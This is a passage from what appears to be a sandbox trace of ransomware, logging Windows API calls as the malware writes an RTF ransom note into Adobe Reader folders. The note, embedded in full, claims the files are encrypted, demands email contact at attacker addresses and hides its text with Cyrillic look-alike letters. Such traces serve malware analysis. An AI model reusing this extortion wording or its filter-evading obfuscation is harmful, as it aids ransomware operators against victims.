!\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.892] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.893] CloseHandle (hObject=0x168) returned 1 [0041.893] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.894] GetLastError () returned 0x2 [0041.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT 